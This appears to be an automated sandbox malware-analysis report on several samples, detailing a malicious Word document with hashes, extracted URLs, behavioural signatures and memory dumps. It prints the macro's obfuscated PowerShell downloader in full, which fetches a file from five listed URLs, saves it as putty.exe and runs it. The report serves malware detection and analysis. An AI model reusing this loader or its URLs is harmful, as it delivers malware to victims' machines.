Overview
overview
10Static
static
8test/0b627...5b.doc
windows7_x64
10test/0b627...5b.doc
windows10_x64
10test/0dded...66.doc
windows7_x64
10test/0dded...66.doc
windows10_x64
10test/91B5D...9D.msi
windows7_x64
8test/91B5D...9D.msi
windows10_x64
8test/ed01e...aa.exe
windows7_x64
10test/ed01e...aa.exe
windows10_x64
10test/fe9d7...8f.exe
windows7_x64
10test/fe9d7...8f.exe
windows10_x64
10Analysis
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max time kernel
122s -
max time network
166s -
platform
windows10_x64 -
resource
win10-en-20211104 -
submitted
02-12-2021 10:54
Static task
static1
Behavioral task
behavioral1
Sample
test/0b627b4eca9b9e8bd04a0d1a103876f6e0fa91049fd0b51bae9ae41acaacf15b.doc
Resource
win7-en-20211014
Behavioral task
behavioral2
Sample
test/0b627b4eca9b9e8bd04a0d1a103876f6e0fa91049fd0b51bae9ae41acaacf15b.doc
Resource
win10-en-20211104
Behavioral task
behavioral3
Sample
test/0dded430c1958ae0ec60c2d50ab99f562269ad1ee09db17606661bd55cd29c66.doc
Resource
win7-en-20211014
Behavioral task
behavioral4
Sample
test/0dded430c1958ae0ec60c2d50ab99f562269ad1ee09db17606661bd55cd29c66.doc
Resource
win10-en-20211104
Behavioral task
behavioral5
Sample
test/91B5DB3C0CCBD68BD04C24571E27F99D.msi
Resource
win7-en-20211014
Behavioral task
behavioral6
Sample
test/91B5DB3C0CCBD68BD04C24571E27F99D.msi
Resource
win10-en-20211104
Behavioral task
behavioral7
Sample
test/ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
Resource
win7-en-20211104
Behavioral task
behavioral8
Sample
test/ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
Resource
win10-en-20211014
Behavioral task
behavioral9
Sample
test/fe9d72dd4b046bafdd144902ab570297629f83d06afb5a9ba7703382a29d588f.exe
Resource
win7-en-20211104
Behavioral task
behavioral10
Sample
test/fe9d72dd4b046bafdd144902ab570297629f83d06afb5a9ba7703382a29d588f.exe
Resource
win10-en-20211014
General
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Target
test/0b627b4eca9b9e8bd04a0d1a103876f6e0fa91049fd0b51bae9ae41acaacf15b.doc
-
Size
265KB
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MD5
34c85b83169b5e70bbfc76c2d6de2be0
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SHA1
cf7d59f9e2774b8b2de9f578bad3b78947d0c3f8
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SHA256
0b627b4eca9b9e8bd04a0d1a103876f6e0fa91049fd0b51bae9ae41acaacf15b
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SHA512
0610b68ef9916c73ed782dc60045c914c52dff1dc1258b634dd009303a4837b403334f2e6c35f137e12ca473f30c747cd9e08df2acbc3d2a9a6790b1b469eb4e
Malware Config
Extracted
http://www.hopeintlschool.org/FQ9AFMoF8GZKwyVvg_GC
http://antigua.aguilarnoticias.com/nYZZcHxoYdA
http://teatrul-de-poveste.ro/wp-content/themes/wcFvmRjqfPbdA
http://mywedphoto.ru/SPcBpzOvD6_bogkPa
http://epl.tmweb.ru/QBSLvgDEuAXTt_ETNrGAVki
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
powershell.exedescription pid pid_target process target process Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process 3920 2760 powershell.exe WINWORD.EXE -
Blocklisted process makes network request 5 IoCs
Processes:
powershell.exeflow pid process 15 3920 powershell.exe 16 3920 powershell.exe 27 3920 powershell.exe 31 3920 powershell.exe 33 3920 powershell.exe -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
WINWORD.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
WINWORD.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE -
Suspicious behavior: AddClipboardFormatListener 2 IoCs
Processes:
WINWORD.EXEpid process 2760 WINWORD.EXE 2760 WINWORD.EXE -
Suspicious behavior: EnumeratesProcesses 3 IoCs
Processes:
powershell.exepid process 3920 powershell.exe 3920 powershell.exe 3920 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 3920 powershell.exe -
Suspicious use of SetWindowsHookEx 8 IoCs
Processes:
WINWORD.EXEpid process 2760 WINWORD.EXE 2760 WINWORD.EXE 2760 WINWORD.EXE 2760 WINWORD.EXE 2760 WINWORD.EXE 2760 WINWORD.EXE 2760 WINWORD.EXE 2760 WINWORD.EXE -
Suspicious use of WriteProcessMemory 2 IoCs
Processes:
WINWORD.EXEdescription pid process target process PID 2760 wrote to memory of 3920 2760 WINWORD.EXE powershell.exe PID 2760 wrote to memory of 3920 2760 WINWORD.EXE powershell.exe
Processes
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C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\test\0b627b4eca9b9e8bd04a0d1a103876f6e0fa91049fd0b51bae9ae41acaacf15b.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell $idIgw8 = '$zMbv9jt0l = new-obj15464.589749099ect -com15464.589749099obj15464.589749099ect wsc15464.589749099ript.she15464.589749099ll;$ILTY2 = new-object sys15464.589749099tem.net.web15464.589749099client;$rEAav7Xix = new-object random;$YiwXfglRS = \"15464.589749099h15464.589749099t15464.589749099t15464.589749099p15464.589749099://www.hopeintlschool.org/FQ9AFMoF8GZKwyVvg_GC,15464.589749099h15464.589749099t15464.589749099t15464.589749099p15464.589749099://antigua.aguilarnoticias.com/nYZZcHxoYdA,15464.589749099h15464.589749099t15464.589749099t15464.589749099p15464.589749099://teatrul-de-poveste.ro/wp-content/themes/wcFvmRjqfPbdA,15464.589749099h15464.589749099t15464.589749099t15464.589749099p15464.589749099://mywedphoto.ru/SPcBpzOvD6_bogkPa,15464.589749099h15464.589749099t15464.589749099t15464.589749099p15464.589749099://epl.tmweb.ru/QBSLvgDEuAXTt_ETNrGAVki\".spl15464.589749099it(\",\");$iWybG3KDH = $rEAav7Xix.nex15464.589749099t(1, 65536);$jPBYO2 = \"c:\win15464.589749099dows\temp\put15464.589749099ty.exe\";for15464.589749099each($MOrNXe14G in $YiwXfglRS){try{$ILTY2.dow15464.589749099nlo15464.589749099adf15464.589749099ile($MOrNXe14G.ToS15464.589749099tring(), $jPBYO2);sta15464.589749099rt-pro15464.589749099cess $jPBYO2;break;}catch{}}'.replace('15464.589749099', $MGFnZb);$Wj3yxlHrU = '';iex($idIgw8);2⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
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memory/2760-155-0x000002DC956D0000-0x000002DC956D2000-memory.dmpFilesize
8KB
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memory/2760-178-0x000002DC956D0000-0x000002DC956D6000-memory.dmpFilesize
24KB
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memory/2760-120-0x00007FFD30F30000-0x00007FFD30F40000-memory.dmpFilesize
64KB
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memory/2760-118-0x00007FFD30F30000-0x00007FFD30F40000-memory.dmpFilesize
64KB
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memory/2760-122-0x000002DC956D0000-0x000002DC956D2000-memory.dmpFilesize
8KB
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memory/2760-123-0x000002DC956D0000-0x000002DC956D2000-memory.dmpFilesize
8KB
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memory/2760-124-0x00007FFD30F30000-0x00007FFD30F40000-memory.dmpFilesize
64KB
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memory/2760-125-0x000002DC956D0000-0x000002DC956D2000-memory.dmpFilesize
8KB
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memory/2760-133-0x000002DC956D0000-0x000002DC956D2000-memory.dmpFilesize
8KB
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memory/2760-134-0x000002DC956D0000-0x000002DC956D2000-memory.dmpFilesize
8KB
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memory/2760-135-0x000002DC956D0000-0x000002DC956D2000-memory.dmpFilesize
8KB
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memory/2760-136-0x000002DC956D0000-0x000002DC956D2000-memory.dmpFilesize
8KB
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memory/2760-137-0x000002DC956D0000-0x000002DC956D2000-memory.dmpFilesize
8KB
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memory/2760-145-0x000002DCA4CA0000-0x000002DCA4CA4000-memory.dmpFilesize
16KB
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memory/2760-146-0x000002DC956D0000-0x000002DC956D2000-memory.dmpFilesize
8KB
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memory/2760-147-0x000002DC956D0000-0x000002DC956D2000-memory.dmpFilesize
8KB
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memory/2760-148-0x000002DC956D0000-0x000002DC956D2000-memory.dmpFilesize
8KB
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memory/2760-179-0x000002DC956D0000-0x000002DC956D6000-memory.dmpFilesize
24KB
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memory/2760-177-0x000002DC956D0000-0x000002DC956D6000-memory.dmpFilesize
24KB
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memory/2760-175-0x000002DC956D0000-0x000002DC956D6000-memory.dmpFilesize
24KB
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memory/2760-165-0x000002DC956D0000-0x000002DC956D2000-memory.dmpFilesize
8KB
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memory/2760-169-0x000002DC956D0000-0x000002DC956D4000-memory.dmpFilesize
16KB
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memory/2760-121-0x00007FFD30F30000-0x00007FFD30F40000-memory.dmpFilesize
64KB
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memory/2760-119-0x00007FFD30F30000-0x00007FFD30F40000-memory.dmpFilesize
64KB
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memory/2760-170-0x000002DC956D0000-0x000002DC956D6000-memory.dmpFilesize
24KB
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memory/2760-168-0x000002DC956D0000-0x000002DC956D2000-memory.dmpFilesize
8KB
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memory/2760-164-0x000002DC956D0000-0x000002DC956D2000-memory.dmpFilesize
8KB
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memory/2760-159-0x000002DC956D0000-0x000002DC956D2000-memory.dmpFilesize
8KB
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memory/2760-161-0x000002DC956D0000-0x000002DC956D2000-memory.dmpFilesize
8KB
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memory/2760-160-0x000002DC956D0000-0x000002DC956D2000-memory.dmpFilesize
8KB
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memory/2760-162-0x000002DC956D0000-0x000002DC956D2000-memory.dmpFilesize
8KB
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memory/2760-163-0x000002DC956D0000-0x000002DC956D2000-memory.dmpFilesize
8KB
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memory/3920-152-0x0000027643970000-0x0000027643972000-memory.dmpFilesize
8KB
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memory/3920-157-0x0000027643970000-0x0000027643972000-memory.dmpFilesize
8KB
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memory/3920-149-0x0000000000000000-mapping.dmp
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memory/3920-153-0x0000027643970000-0x0000027643972000-memory.dmpFilesize
8KB
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memory/3920-166-0x0000027643970000-0x0000027643972000-memory.dmpFilesize
8KB
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memory/3920-158-0x000002765DAD0000-0x000002765DAD1000-memory.dmpFilesize
4KB
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memory/3920-173-0x0000027645480000-0x0000027645482000-memory.dmpFilesize
8KB
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memory/3920-176-0x0000027645486000-0x0000027645488000-memory.dmpFilesize
8KB
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memory/3920-151-0x0000027643970000-0x0000027643972000-memory.dmpFilesize
8KB
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memory/3920-174-0x0000027645483000-0x0000027645485000-memory.dmpFilesize
8KB
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memory/3920-150-0x0000027643970000-0x0000027643972000-memory.dmpFilesize
8KB
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memory/3920-154-0x0000027645400000-0x0000027645401000-memory.dmpFilesize
4KB
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memory/3920-156-0x0000027643970000-0x0000027643972000-memory.dmpFilesize
8KB